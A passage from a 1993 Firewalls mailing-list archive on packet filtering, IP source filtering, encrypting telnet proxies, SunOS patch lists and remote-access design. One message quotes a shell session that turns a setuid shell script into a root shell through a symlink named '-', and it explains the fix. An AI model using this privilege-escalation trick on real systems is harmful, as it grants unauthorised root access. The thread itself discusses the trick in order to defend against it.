From Firewalls-Owner Fri Oct 1 00:18:45 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA20982; Fri, 1 Oct 93 06:53:16 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA20974; Thu, 30 Sep 93 23:53:07 PDT Message-Id: <9310010653.AA20974@mycroft.GreatCircle.COM> To: "Jonathan B. Horen" Cc: firewalls@GreatCircle.COM Subject: Re: Packet-Filtering Software for/on Firewall In-Reply-To: Your message of Fri, 1 Oct 1993 08:07:21 +0200 Date: Thu, 30 Sep 1993 23:53:06 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "Jonathan B. Horen" writes: # So, my question is this: does anyone know if the KA9Q packet-filtering # software has been ported to run on a Unix box (Sun SPARCstation 1+ # running SunOS/4.1.3), or if there is other PD/ commercial software for # the firewall machine that will do the same thing as a separte router? The KA9Q stuff is a package that runs standalone on an 80x86 platform. Therefore, no ports to any other platform (at least not that I'm aware of). MorningStar's commercial PPP software has good packet filtering capabilities. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Fri Oct 1 00:37:37 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21267; Fri, 1 Oct 93 07:01:31 GMT Received: from coombs.anu.edu.au by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21214; Thu, 30 Sep 93 23:59:08 PDT Message-Id: <9310010659.AA21214@mycroft.GreatCircle.COM> Received: by coombs.anu.edu.au (1.37.109.4/16.2) id AA28282; Fri, 1 Oct 93 16:56:10 +1000 From: Darren Reed Subject: Re: passing archie To: rens@imsi.com Date: Fri, 1 Oct 1993 16:56:10 +1000 (EST) Cc: brent@GreatCircle.COM, firewalls@GreatCircle.COM In-Reply-To: <9309301912.AA10763@stimpys.imsi.com> from "Rens Troost" at Sep 30, 93 03:12:33 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1623 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > > >>>>> On Thu, 30 Sep 1993 10:51:14 -0700, Brent Chapman said: > > brent> Rens Troost writes: > > rens> Remember, if your security relies on source information, > rens> then it's not security. > > brent> Bullshit. > > !? > > brent> It may not be perfect, but it _is_ security. It > brent> limits the class of attackers to those capable of faking IP > brent> packets. That's still a large class, but it's a whole lot > brent> smaller than the class of all attackers. > > I guess. I would hazard to guess that the class of attacker who is > capable of exploiting nfs and yp holes is also capable of spoofing a > source address. As you say, a large class. No thanks. So you don't filter on source address for packets going *into* your DMZ or packets from the DMZ to your `protected' net (if you don't trust your DMZ). But what about packets going *out* of the DMZ, back onto the Internet ? If a cracker can get access to a host inside the DMZ, then it is probably safe to assume that trusting packets based on source or destination from it back to your internal networks makes no difference. In the case of archie, does anyone see any posibility of writing a proxy server which binds to a set port in the DMZ and talks to remote archie servers on behalf of internal machines ? This may not be possible (I haven't looked at the protocol used) if separate packets cannot be demultiplexed over the same port pair to archie. If this was the case, it should be trivial to implement a "one-at-a-time" proxy server to run on the DMZ host. Darren From Firewalls-Owner Fri Oct 1 13:26:51 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22187; Fri, 1 Oct 93 13:26:51 GMT Received: from BITNIC.EDUCOM.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22180; Fri, 1 Oct 93 06:26:43 PDT Received: from BITNIC.EDUCOM.EDU by BITNIC.EDUCOM.EDU (IBM VM SMTP V2R2) with BSMTP id 6563; Fri, 01 Oct 93 09:31:53 EDT Received: from BITNIC.EDUCOM.EDU (NJE origin NETMAINE@BITNIC) by BITNIC.EDUCOM.EDU (LMail V1.1d/1.7f) with RFC822 id 6561; Fri, 1 Oct 1993 09:31:53 -0400 Subject: Summary of Security Publications To: FIREWALLS@GreatCircle.COM From: "Andrew T. Robinson" Date: Fri, 1 Oct 93 09:26:41 EDT Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk A while ago I asked about security-related "must read" publications. Here is a summary of what I found (I make no claims that this is in any way, shape, or manner complete): 1. RFC 1244, 1463, 1175, 1118 2. ftp research.att.com, cd /dist/internet_security (several papers) 3. "The Cuckoo's Egg", Cliff Stoll, Doubleday 4. Computer Underground Digest, FTP ftp.eff.org, CD /pub/cud 5. "Practical Unix Security," Garfinkel & Spafford, O'Reilly & Associates 6. "Thinking About Firewalls," FTP tis.com, CD ???? 7. Comer books 8. gopher.nist.gov If anyone has any addenda, please let me know. Evidently the NIST server has a big bibliography. Andy From Firewalls-Owner Fri Oct 1 16:41:01 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22592; Fri, 1 Oct 93 16:41:01 GMT Received: from UACSC2.ALBANY.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22585; Fri, 1 Oct 93 09:40:41 PDT Received: from ALBNYDH2 by UACSC2.ALBANY.EDU (IBM VM SMTP V2R2) with BSMTP id 1743; Fri, 01 Oct 93 12:42:07 EDT Received: from ALBNYDH2 (WRM01) by ALBNYDH2 (Mailer R2.07) with BSMTP id 3180; Fri, 01 Oct 93 12:43:05 EDT Message-Id: 19931001.124304.WRM01@ALBNYDH2 Date: 01 Oct 93 12:43:04 EDT From: Bill Moyer To: Firewalls@GreatCircle.COM Subject: Encrypting Telnet Proxy ..? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk This submission is a "Is such a thing made" and "Where can I get it" request. I would appreciate any pointers to public domain or commercial encryption/security devices to do the following: Given 16 networks A,B,C,..,P all internet connected. Within each network is a reasonably secure subnet designated by small letters a,b,c,...,p. I wish these subnets to have safe encrypted telnet and ftp sessions with each other. Encryption keys should be associated with the originating user within the subnet, rather than the originating machine within the subnet. The first application is a host in subnet "a" to which users in subnets b...p can telnet. The host is a Unix box and the users are on DOS platforms. The Unix software application is available by standard telnet and cannot be modified to support application level encryption. The same goes for the DOS boxes which will be running plain vanilla tcp/ip packages. The encryption should prevent successful "snooping" of packets along the path between the "safe" subnets. The Unix host in subnet "a" should be accessible from outside the subnet only by passing thru the encryption device. I don't see this as a "firewall" so much as an encrypting telnet proxy. I would not want the device to prevent normal communication as it currently exists for the subnet machines, but rather to add the encrypting function for users accessing the application in subnet "a". Do such encrypting telnet proxy systems exist? Where can I find further information? Bill Moyer wrm01@albnydh2.bitnet From Firewalls-Owner Fri Oct 1 19:01:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22903; Fri, 1 Oct 93 19:01:17 GMT Received: from mailgate.Cadence.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22896; Fri, 1 Oct 93 12:00:59 PDT Received: from cds1004 by mailgate.Cadence.COM (5.65c/SMI-4.1) id AA05496; Fri, 1 Oct 1993 10:35:04 -0700 Received: from [158.140.32.237] by cds1004 (5.65+/1.5) id AA21984; Fri, 1 Oct 93 10:36:38 -0700 Date: Fri, 1 Oct 93 10:36:38 -0700 Message-Id: <9310011736.AA21984@cds1004> To: "Jonathan B. Horen" From: alastair@Cadence.COM (Alastair Young) X-Sender: alastair@cds1004 Subject: Re: Packet-Filtering Software for/on Firewall Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Shalom! > >I am in the process of setting-up a firewall machine, so that we can >be safely connected to the Internet via a SLIP connection to a local >Internet provider. During the last week I have spent *lots* of time >reading the Firewall-Digests -- I appreciate the time that everyone >has taken to post/respond, and I am much more aware of what I didn't >know (about). > >Admittedly, Brent Chapman's schema for a two-router/firewall-host is >desirable, but in our case there are no $$ for one, let alone two, >routers. > >So, my question is this: does anyone know if the KA9Q packet-filtering >software has been ported to run on a Unix box (Sun SPARCstation 1+ >running SunOS/4.1.3), or if there is other PD/ commercial software for >the firewall machine that will do the same thing as a separte router? > >I look forward to constructive, helpful replies, and ask that, until >we get hooked-up and I can subscribe to firewalls-digest, that you >please respond via email. > We use the NetGate software from SmallWorks. It is running on dual ethernet Sparcstation IPC systems. We are very happy with it. It allows you 32 filtering rules which are in a C/Perl like format, and allows you to log dropped packets. contact: info@smallworks.com Al --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems From Firewalls-Owner Fri Oct 1 20:31:44 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA23080; Fri, 1 Oct 93 20:31:44 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA23073; Fri, 1 Oct 93 13:31:36 PDT Received: by azalea.tis.com; id AA17837; Fri, 1 Oct 93 16:33:00 EDT Received: from tis.com/192.33.112.100 via smap Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA17457; Fri, 1 Oct 93 16:33:51 EDT Received: by otter.TIS.COM (5.65/client) id AA10600; Fri, 1 Oct 93 16:33:50 -0400 From: mjr@TIS.COM Date: Fri, 1 Oct 93 16:33:50 -0400 Message-Id: <10600.9310012033@otter.TIS.COM> To: Firewalls@GreatCircle.COM, WRM01%ALBNYDH2.bitnet@UACSC2.ALBANY.EDU Subject: Re: Encrypting Telnet Proxy ..? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Given 16 networks A,B,C,..,P all internet connected. Within each >network is a reasonably secure subnet designated by small letters >a,b,c,...,p. I wish these subnets to have safe encrypted telnet >and ftp sessions with each other. Encryption keys should be >associated with the originating user within the subnet, rather than >the originating machine within the subnet. Probably the easiest way is to take the net2 sources for telnetd, which have hooks in them for encryption, and modify them to use some other scheme for key exchange. FTP presently doesn't have any encrypting versions I know of. Key exchange is always the biggest hassle in doing this kind of thing. The simplest route (using a random key and a diffie hellman exchange) is patented and therefore not an option unless you want to work through licensing issues. One neat approach would be to use something like a SecurID or Digital Pathways to implement your key exchange. You could use that authentication to unlock a shared secret on each side of the connection and then start using crypto. I.e.: suppose each machine has a database with a secret key for 'mjr'. I use a Digital pathways for authenticating, which means I am exchanging a random challenge and response as part of the authentication. Once I've authenticated both sides unlock the secret key, Xor it with the random challenge response, and use that as a session key. I suspect that would be pretty much good enough. The BSD folks use kerberos to do their key exchange (in a sense, that's what getting a kerberos ticket is) - you could use those versions directly if you use kerberos. That still leaves FTP. The other option is to use a point to point encrypting router for encrypting all traffic between the two networks, which is not quite what you asked for, since that doesn't have any notion of a per-user key or even a "user" in it. mjr. From Firewalls-Owner Sat Oct 2 00:48:35 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA23465; Sat, 2 Oct 93 00:48:35 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA23458; Fri, 1 Oct 93 17:48:24 PDT Received: from relay.lehman.com ([192.9.140.112]) by lehman.com (4.1/LB 0.1) id AA11280; Fri, 1 Oct 93 20:51:07 EDT Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA00136; Fri, 1 Oct 93 20:51:06 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA12562; Fri, 1 Oct 93 20:51:04 EDT Message-Id: <9310020051.AA12562@snark.lehman.com> To: firewalls@GreatCircle.COM Subject: Re: passing archie In-Reply-To: Your message of "Thu, 30 Sep 1993 14:01:22 MDT." <9309302001.AA02328@futureworld.advtech.uswest.com> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Fri, 01 Oct 1993 20:51:04 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Brad Huntting says: > ># Remember, if your security relies on source information, then it's not > ># security. > > > Bullshit. It may not be perfect, but it _is_ security. It limits the > > class of attackers to those capable of faking IP packets.... > > No only that, it limits most kinds of attacks to situations where the > attacker can see the return traffic for the machine being mimicked. > > For example, it's probably pretty hard to fake a source address in a > TCP connection unless you can see the return packets from the machine > being attacked. So what? It would cost, in rough terms, about $15-$30,000 to mount a concerted attack on the communications lines going into my firm. If this yielded the attacker access to our machines, that could possibly permit them to manage to commit a fraud that would cost us millions of dollars. This seems like a pretty good cost/return ratio to me. Myself, I agree with Rens, which isn't suprising, since we both work for financial institutions with enormous amounts to lose. Unless you are using cryptography to verify source, security that relies on source information is way too weak for anyone who has real assets to protect. Its one thing if we are talking about your home computer on the internet -- but who cares if they break into your home computer. > Selecting on source information _is_ useful, and I for one wish cisco > would support it. Personally, I'd say it adds a reduction in the number of false alarms if you are monitoring attacks for seriousness. This might be valuable. I believe it is self-deceptive to believe this adds to security. Perry From Firewalls-Owner Sat Oct 2 01:31:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA23531; Sat, 2 Oct 93 01:31:57 GMT Received: from terminus.cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA23524; Fri, 1 Oct 93 18:31:47 PDT Received: by terminus.cs.umb.edu id AA14454 (5.65c/IDA-1.4.4 for FIREWALLS@greatcircle.com); Fri, 1 Oct 1993 21:34:43 -0400 Date: Fri, 1 Oct 1993 21:34:43 -0400 From: "John B. Brown" Message-Id: <199310020134.AA14454@terminus.cs.umb.edu> To: FIREWALLS@GreatCircle.COM, netmaine@BITNIC.EDUCOM.EDU Subject: Re: Summary of Security Publications Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Dear Andy, At att.research.com there's one other doc site: a. ftp research.att.com, cd /dist/smb (several papers) Shalom, JBB. From Firewalls-Owner Mon Oct 4 17:53:53 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA00311; Mon, 4 Oct 93 17:53:53 GMT Received: from houston.chron.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA00304; Mon, 4 Oct 93 10:53:43 PDT Received: from relay.chron.com by houston.chron.com with SMTP id AA00812 (5.65c/IDA-1.4.4 for ); Mon, 4 Oct 1993 12:56:58 -0500 Received: from magic706.chron.com by relay.chron.com (4.0/SMI-4.0) id AA10813; Mon, 4 Oct 93 12:56:56 CDT Received: by magic706.chron.com (4.1/SMI-4.1) id AA29218; Mon, 4 Oct 93 12:56:55 CDT Date: Mon, 4 Oct 93 12:56:55 CDT From: Matt.Cohen@chron.com (Matt Cohen) Message-Id: <9310041756.AA29218@magic706.chron.com> To: firewalls@GreatCircle.COM Subject: Seeking remote access advice Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I'm trying to design a setup where more than a hundred users will be able to connect to our network through modems, public X.25 services, and the Internet. Most of our users will have company-provided PC laptops that I can add software to, but a few connect from different platforms and some are vendors with unknown equipment who need more-or-less temporary access. Our internal hosts are largely Unix machines and X terminals. Currently, we have a much smaller set of remote users, dialback modems, and a two-routers-and-a-bastion-host firewall setup. I am looking for software/hardware that will help me increase security for remote logins. It's seems that challenge/sequenced password generators ("smartcards"), possibly in software form, might be a big help. I've read through the archives, but much of the relevant material is dated. Some questions I'm looking to answer: * Should I get a terminal server or dedicate a machine with a serial port expander? * Can I avoid giving users accounts on any gateway machines? * What if someone loses their token generator/laptop? * Where should I put dialup services in relation to the firewall? * How about SLIP/PPP for selected users? * How simple can I make things for the users? * What products are available and what are their pricing/contact info? Our budget is reasonable, but not infinite. :) I will gladly post a summary (not a compilation) of anything I receive. Any related general setup suggestions would be appreciated as well. -- Matt @8^1 -- Matt Cohen INET: sysnmc@chron.com Department of Technology Resources UUCP: ...!uunet!chron!sysnmc The Houston Chronicle AT&T: +1 713 220 7023 801 Texas Avenue, Houston, TX 77002 "Quidquid Latine dictum sit, "Houston's Leading Information Source" altum viditur." From Firewalls-Owner Mon Oct 4 21:35:26 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA00920; Mon, 4 Oct 93 21:35:26 GMT Received: from ncar.UCAR.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA00913; Mon, 4 Oct 93 14:35:20 PDT Received: from niwot.scd.ucar.edu by ncar.ucar.EDU (5.65/ NCAR Central Post Office 03/11/93) id AA26195; Mon, 4 Oct 93 15:38:35 MDT Message-Id: <9310042138.AA18927@niwot.scd.ucar.EDU> Received: by niwot.scd.ucar.EDU (5.65/ NCAR Mail Server 04/10/90) id AA18927; Mon, 4 Oct 93 15:38:34 MDT Subject: Re: Security related patches To: lowton@typhon.dra.hmg.gb Date: Mon, 4 Oct 93 15:38:33 MDT Cc: firewalls@GreatCircle.COM From: era@ncar.ucar.edu (Ed Arnold) Reply-To: era@ncar.ucar.edu (Ed Arnold) X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > lowton@typhon.dra.hmg.gb (Andy Lowton) writes: > > # Somebody recently posted a list of all the security related patches for > # SunOs. Like an idiot, I lost my copy. Could the person who mailed it > # please do so again. I have looked at the archives, but cannot find it. > > Such lists exist, but I don't think it's been posted to Firewalls. > You probably saw it on some other list. > > > -Brent There seem to be two commonly-available Sun patch lists out there; one from Greg Earle, and one from Alain Brossard. Anyone who wants them may get anon ftp copies from ncar.ucar.edu:sun-patches/patchlist.{brossard,earle}. From Firewalls-Owner Mon Oct 4 22:39:24 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA01335; Mon, 4 Oct 93 22:39:24 GMT Received: from sicmail.epfl.ch by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA01328; Mon, 4 Oct 93 15:39:16 PDT Received: from disuns2.epfl.ch by sicmail.epfl.ch with SMTP (PP) id <13793-0@sicmail.epfl.ch>; Mon, 4 Oct 1993 23:41:34 +0100 Received: from disun47.epfl.ch by di.epfl.ch (4.1/Epfl-4.4-s/MX) id AA14446; Mon, 4 Oct 93 23:41:27 +0100 From: Karim.Saouli@di.epfl.ch (Karim Saouli) Message-Id: <9310042241.AA14446@di.epfl.ch> Subject: Re: Security related patches To: era@ncar.ucar.edu Date: Mon, 4 Oct 1993 23:41:26 +0100 (MET) Cc: lowton@typhon.dra.hmg.gb, firewalls@GreatCircle.COM In-Reply-To: <9310042138.AA18927@niwot.scd.ucar.EDU> from "Ed Arnold" at Oct 4, 93 03:38:33 pm X-Mailer: ELM [version 2.4 PL2] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Length: 310 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hello, well for the ones in europe interested in such patch lists you could give a shot at the anonymous ftp of alain's machine: sasun1.epfl.ch in: /pub or via gopher for those of you who are not afraid of french on: cognac.epfl.ch Regards Karim Saouli Sys admin at SFIT From Firewalls-Owner Mon Oct 4 23:09:12 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA01396; Mon, 4 Oct 93 23:09:12 GMT Received: from cs.utah.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA01389; Mon, 4 Oct 93 16:09:05 PDT Received: by cs.utah.edu (5.65/utah-2.21-cs) id AA22220; Mon, 4 Oct 93 16:29:39 -0600 From: zeleznik@cs.utah.edu (Mike Zeleznik) Message-Id: <9310042229.AA22220@cs.utah.edu> Date: Mon, 4 Oct 93 16:29:38 MDT Subject: Re: Security related patches To: era@ncar.ucar.edu (Ed Arnold) Cc: lowton@typhon.dra.hmg.gb, firewalls@GreatCircle.COM In-Reply-To: era@ncar.ucar.edu (Ed Arnold), Mon, 4 Oct 93 15:38:33 MDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Sun recently announced its SunSolve OnLine, accessible via the Internet (e.g., telnet or ftp). From my brief encounter so far with the telnet I/F, it looked reasonable, with search tools to find bugs and patches and other info of interest. Contact your Sun rep for details, or call 800-USA-4SUN. Mike Michael Zeleznik zeleznik@cs.utah.edu 801-585-6156 ------- From Firewalls-Owner Tue Oct 5 07:13:32 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA02798; Tue, 5 Oct 93 07:13:32 GMT Received: from brain.vifp.monash.edu.au by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA02791; Tue, 5 Oct 93 00:13:22 PDT Received: from localhost (rik@localhost) by brain.vifp.monash.edu.au (8.3/8.3) id RAA13005; Tue, 5 Oct 1993 17:16:22 +1000 Message-Id: <199310050716.RAA13005@brain.vifp.monash.edu.au> To: firewalls@GreatCircle.COM Subject: Re: Security related patches In-Reply-To: Your message of "Mon, 04 Oct 1993 15:38:33 MDT." <9310042138.AA18927@niwot.scd.ucar.EDU> Date: Tue, 05 Oct 1993 17:16:21 +1000 From: Rik Harris Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > lowton@typhon.dra.hmg.gb (Andy Lowton) writes: > > > > # Somebody recently posted a list of all the security related patches for > > # SunOs. Like an idiot, I lost my copy. Could the person who mailed it > > # please do so again. I have looked at the archives, but cannot find it. > > > > Such lists exist, but I don't think it's been posted to Firewalls. > > You probably saw it on some other list. > > There seem to be two commonly-available Sun patch lists out there; one > from Greg Earle, and one from Alain Brossard. Anyone who wants them > may get anon ftp copies from > ncar.ucar.edu:sun-patches/patchlist.{brossard,earle}. I have collected README files from wherever I can get them for Sun patches. You can access them WAISed with the source sun-fixes.src, or gopher to gopher.vifp.monash.edu.au (/Computing/Sun Microsystems) There are no patches in the archive, but you should either get those from Sun, or use archie to find them. have fun, rik. -- Rik Harris - rik.harris@vifp.monash.edu.au || Systems Programmer +61 3 560-3265 (AH) +61 3 565-3227 (BH) || and Administrator Fac. of Computing & Info.Tech., Monash Uni, Australia || Vic. Institute of http://www.vifp.monash.edu.au/people/rik.html || Forensic Pathology From Firewalls-Owner Tue Oct 5 12:39:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA03407; Tue, 5 Oct 93 12:39:11 GMT Received: from mobil.com (mailgate.mobil.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA03400; Tue, 5 Oct 93 05:39:03 PDT Received: from dal.mobil.com by mobil.com (4.1/SMI-4.1) id AA05452; Tue, 5 Oct 93 07:37:55 CDT Received: from drds03.dal.mobil.com by dal.mobil.com (4.1/SMI-4.1) id AA09017; Tue, 5 Oct 93 07:45:07 CDT Received: by drds03.dal.mobil.com (5.65/DEC-Ultrix/4.3) id AA25265; Mon, 4 Oct 1993 19:46:17 -0500 Date: Mon, 4 Oct 1993 19:46:17 -0500 From: jdlacour@dal.mobil.com (Jeffrey D. LaCoursiere) Message-Id: <9310050046.AA25265@drds03.dal.mobil.com> To: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >> machine> id >> uid=1766(jdlacour) gid=0(wheel) >> machine> echo '#\!/bin/sh' > test >> machine> su >> password: >> # chown root test >> # chmod 4755 test >> # exit >> # machine> ln -s test - >> machine> - >> $ id >> uid=1766(jdlacour) gid=0(wheel) euid=0(root) >> $ > >This has nothing to do with .profile or argv[0]. But it does. argv[0] == "-", just like he said. >Your script is also vulnerable to the -i problem. >Secure setuid sh scripts need to start with > #!/bin/sh - >not just > #!/bin/sh > >If you use the correct starting line and try the above again, >then it will execute correctly, without giving you a root >shell. Absolutely. I sent the above example to illustrate the point about the script starting with argv[0]=="-". He was not talking about the dash in "#!/bin/sh -". Although on Ultrix 4.3 it did not have the effect of reading and executing my .profile, the results were just as disastrous... j From Firewalls-Owner Tue Oct 5 15:22:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA03799; Tue, 5 Oct 93 15:22:48 GMT Received: from BITNIC.EDUCOM.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA03792; Tue, 5 Oct 93 08:22:37 PDT Received: from BITNIC.EDUCOM.EDU by BITNIC.EDUCOM.EDU (IBM VM SMTP V2R2) with BSMTP id 1004; Tue, 05 Oct 93 11:27:47 EDT Received: from BITNIC.EDUCOM.EDU (NJE origin NETMAINE@BITNIC) by BITNIC.EDUCOM.EDU (LMail V1.1d/1.7f) with RFC822 id 1001; Tue, 5 Oct 1993 11:27:43 -0400 Subject: Question re: source filtering, encryption To: FIREWALLS@GreatCircle.COM From: "Andrew T. Robinson" Date: Tue, 5 Oct 93 11:13:49 EDT Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk How secure is the following scenario: about security. Neither side wants to spend outrageous amounts of +--------------+ +----------------+ | Site A | | Site B | | | | | | LAN<-ED<-GW<-|-------- Internet -------------|->GW->ED->LAN | | | | | +--------------+ +----------------+ GW: IP router with source filtering. Source filters set to allow site A unrestricted access to site B and vice versa. Otherwise, all traffic excluded except to "public" host and perhaps SMTP. ED: End-to-end encryption device, i.e., LANGuardian, Semaphore NER, etc. All information between Site A/Site B is encrypted. LAN: Local area network If I understand what I've heard and read properly, source filtering is not very secure. How does the addition of end-to-end encryption affect the security of this filtering? I understand that it would not be difficult to spoof a source address, but it would seem to be very difficult to spoof properly encrypted packets. Given this admittedly sketchy outline, what are the weaknesses of this setup? It's obviously not perfect, and it's difficult to quantify what is "sufficient" security. I'm interested in the feedback of people who really know what's going on, however :-) Andy From Firewalls-Owner Tue Oct 5 21:29:37 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04974; Tue, 5 Oct 93 21:29:37 GMT Received: from netcomsv.netcom.com (uucp4.netcom.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04967; Tue, 5 Oct 93 14:29:29 PDT Received: from fabian.lat.com by netcomsv.netcom.com with UUCP (4.1/SMI-4.1) id AA01519; Tue, 5 Oct 93 14:31:52 PDT Received: from [192.160.241.2] (skyline.lat.com) by LAT.COM (4.1/SMI-4.1/Brent-LAT.COM-930611-1) id AA28313; Tue, 5 Oct 93 14:27:21 PDT Date: Tue, 5 Oct 93 14:27:21 PDT Message-Id: <9310052127.AA28313@LAT.COM> From: "Gary Kremen [gary@lat.com]" Reply-To: "Gary Kremen [gary@lat.com]" To: Firewalls@GreatCircle.COM, sysnmc@chron.com Subject: Re: Firewalls Digest V2 #188 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > From: Matt.Cohen@chron.com (Matt Cohen) > Date: Mon, 4 Oct 93 12:56:55 CDT > Subject: Seeking remote access advice > > I'm trying to design a setup where more than a hundred users > will be able to connect to our network through modems, public X.25 > services, and the Internet. > > Most of our users will have company-provided PC laptops that I > can add software to, but a few connect from different platforms and > some are vendors with unknown equipment who need more-or-less temporary > access. Our internal hosts are largely Unix machines and X terminals. > etc......... You might want to try LAT's TermServ product. LAT TermServ is a dial-in firewall program with remote access. It guards access to an individual host, and can provide restricted access to other hosts on the network. Features include dial-in passwords, callback passwords, session tapping (the recording of a modem's input/output), support for standard protocols (telnet , rlogin, Hayes, SLIP, PPP), multiple session support (a user may rlogin or telnet to multiple hosts during one call and use a "hotkey" to switch among hosts), configurable lock-out (for users who exceed the maximum number of failed login attempts), idle time-out detection, rich management reports, no local host permissions, uucp dial-back and more. LAT TermServ supports Sun SPARC systems running SunOS 4.x, HP 9000/300/400/700/800, SCO, and Pyramid. Sorry about giving information that our company sells, but it seems to fit the bill to your situation. If you need any more info - feel free to send me e-mail. _____________________________________________________________________________ _/ _/ _/_/_/ Gary Kremen, Executive VP _/ _/ _/ _/ Los Altos Technologies, Inc. _/ _/_/_/_/ _/ * The one stop for Unix Security * _/_/_/_/ _/ _/ _/ gary@lat.com From Firewalls-Owner Tue Oct 5 22:22:46 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05094; Tue, 5 Oct 93 22:22:46 GMT Received: from asante.asante.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05081; Tue, 5 Oct 93 15:22:32 PDT Received: from sawadee.asante.com by asante.asante.com (4.1/SMI-4.1/Brent-911016) id AA12961; Tue, 5 Oct 93 15:16:18 PDT Message-Id: <9310052216.AA12961@asante.asante.com> Date: 5 Oct 1993 15:24:44 U From: "Clint Bogard" Subject: Question To: "Brent" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Mail*Link(r) SMTP Question Brent, My name is Clint, I work at Asante Technologies, Inc. I was referred to you by our network administrator here at Asante as an expert on routers and firewalls. Jon indicated that you don't mind answering networking questions. If this is the case, I would be interested in any ideas you might have about the network question. I am working with a university on building a network using our Ethernet repeaters. the school will be building a collapsed backbone with a small number of large routers in the center of the campus and our repeaters in his facilities. He is very concerned with accountability on the network. That is, if a student in a lab does something 'bad' on the Internet he wants to be able to track it down. Part of the way he wants to do this to fix a given MAC and IP address to each port on our repeaters. If either of these addresses is changed on the node connected the the hub, the node is not given access to the the hub. This guarentees that if another Internet site reports a problem coming from x.x.x IP address in his network he can nail down exactly which machine generated the problem. He wants to be able to do this based on MAC or IP addresses. Our hub features the ability to provide this level of security based on the MAC address, but not on IP. Our hub does not currently provide the exact functionality he is looking for (and I'm not sure there are any repeaters that provide this functionality). Are there other ways to provide some 'accoutability' for users actions on the network? Is there any way to log all the destinations from each MAC and/or 